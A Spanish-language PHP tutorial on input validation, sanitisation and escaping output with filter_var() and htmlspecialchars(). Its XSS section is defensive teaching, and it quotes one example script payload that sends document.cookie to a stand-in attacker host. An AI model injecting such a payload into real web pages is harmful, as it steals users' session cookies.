php-validacion-y-sanitizacion-de-datos-en-php

Validación y sanitización de datos en PHP

  • 3 min

Validar un dato es comprobar que cumple las reglas esperadas, mientras que sanitizarlo consiste en transformarlo de forma controlada.

En seguridad web existe una regla que debes tatuarte en la mente: “Nunca confíes en el usuario”.

Todo dato que venga de fuera ($_GET, $_POST, $_COOKIE) es potencialmente peligroso. Podría ser un usuario inocente equivocándose al escribir, o un hacker intentando romper tu web.

Para protegernos, usamos dos capas de defensa: Validar y Sanitizar.

Validación (¿es el dato correcto?)

Validar consiste en comprobar si el dato cumple con los requisitos que esperamos. La validación no cambia el dato, solo te dice “Sí” (pasa) o “No” (falla).

  • Ejemplo: “¿Es esto un email válido?”
  • Ejemplo: “¿Es la edad un número entre 18 y 99?”

La herramienta moderna de PHP para esto es filter_var() con filtros de validación.

$emailInput = $_POST['email']; // Supongamos "juan@ejemplo"; (falta el .com)

if (filter_var($emailInput, FILTER_VALIDATE_EMAIL)) {
    echo "El email es válido.";
} else {
    echo "Error: El formato del email no es correcto.";
}
Copied!

Sanitización (¿es el dato seguro?)

Sanitizar consiste en limpiar el dato. Elimina caracteres ilegales o peligrosos. A diferencia de la validación, aquí sí modificamos la variable.

  • Ejemplo: Quitar letras de un campo que debe ser teléfono.
  • Ejemplo: Eliminar etiquetas HTML de un comentario.

También usamos filter_var(), pero con filtros de sanitización.

$emailSucio = "  juan/(@)sitio.com  ";

// FILTER_SANITIZE_EMAIL elimina todos los caracteres excepto letras, números y !#$%&'*+-=?^_`{|}~@.[]
$emailLimpio = filter_var($emailSucio, FILTER_SANITIZE_EMAIL);

echo $emailLimpio; // Salida: [email protected]
Copied!

El enemigo nº1: XSS (cross-site scripting)

El ataque más común en formularios se llama XSS. Ocurre cuando un usuario malintencionado escribe código JavaScript en tu formulario y tú lo imprimes tal cual en la pantalla.

El Ataque: Imagina que en un foro alguien comenta: <script>window.location='http://sitio-hacker.com?cookie='+document.cookie</script>

Si imprimes eso con un simple echo, el navegador de quien lea el comentario ejecutará ese código y le robarán la sesión.

La defensa: htmlspecialchars() Esta función convierte los caracteres especiales de HTML (<, >, &, ") en entidades seguras (&lt;, &gt;, etc.). El navegador mostrará el código, pero no lo ejecutará.

// MAL: Vulnerable a XSS
echo $_POST['comentario']; 

// BIEN: Seguro
// Convierte <script> en &lt;script&gt;
echo htmlspecialchars($_POST['comentario'], ENT_QUOTES, 'UTF-8');
Copied!

Nota: Hoy en día, motores de plantillas como Blade (Laravel) o Twig hacen esto automáticamente, pero en PHP puro debes hacerlo tú manualmente siempre que imprimas datos del usuario.

Procesar el dato de principio a fin

Para procesar un formulario de forma profesional, sigue este orden:

  1. Recepción: Recibes $_POST['dato'].
  2. Limpieza (Trim): Usas trim() para quitar espacios en blanco al inicio y final.
  3. Validación: Compruebas si el valor normalizado cumple las reglas.
  4. Transformación: Sanitizas o conviertes solo cuando el dominio lo requiera, sin ocultar un dato inválido.
  5. Escape (Output): Usas htmlspecialchars() solo al momento de mostrarlo en pantalla.
$nombre = $_POST['nombre'] ?? '';

// 1. Limpiar espacios
$nombre = trim($nombre);

// 2. Validar (Ej: que no esté vacío y no sea muy largo)
if (strlen($nombre) > 0 && strlen($nombre) < 50) {
    // 3. Guardar en BD (Aquí usaríamos sentencias preparadas para evitar SQL Injection)
    // guardarEnBD($nombre);
    
    // 4. Mostrar al usuario de forma segura
    echo "Gracias por registrarte, " . htmlspecialchars($nombre);
} else {
    echo "Nombre inválido";
}
Copied!